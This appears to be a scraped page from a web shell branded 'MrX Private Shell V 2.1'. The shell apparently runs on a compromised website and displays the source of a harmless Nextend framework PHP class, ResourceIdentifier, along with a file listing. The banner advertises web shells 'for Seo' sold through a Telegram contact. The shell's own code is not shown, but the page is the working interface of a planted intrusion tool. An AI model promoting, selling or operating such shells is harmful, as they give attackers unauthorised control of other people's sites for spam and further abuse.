__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Nextend\Framework\ResourceTranslator;
class ResourceIdentifier {
/**
* @var string
*/
protected $rawKeyword = '';
/**
* @var string
*/
protected $keyword = '';
/**
* @var string
*/
protected $path = '';
/**
* @var string
*/
protected $url = '';
public function __construct($keyword, $path, $url) {
/**
* Keyword must start and end with `$` sign
*/
if (strlen($keyword) == 0) {
$keyword = '$';
} else {
if ($keyword[0] != '$') {
$keyword = '$' . $keyword;
}
if ($keyword[strlen($keyword) - 1] != '$') {
$keyword .= '$';
}
}
$this->rawKeyword = $keyword;
$this->keyword = $keyword . '/';
$this->path = rtrim($path, '/\\') . DIRECTORY_SEPARATOR;
$this->url = rtrim($url, '/') . '/';
}
public function getRawKeyword() {
return $this->rawKeyword;
}
/**
* @return string
*/
public function getKeyword() {
return $this->keyword;
}
/**
* @return string
*/
public function getPath() {
return $this->path;
}
/**
* @return string
*/
public function getUrl() {
return $this->url;
}
}| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ResourceIdentifier.php | File | 1.34 KB | 0664 |
|
| ResourceTranslator.php | File | 4.31 KB | 0664 |
|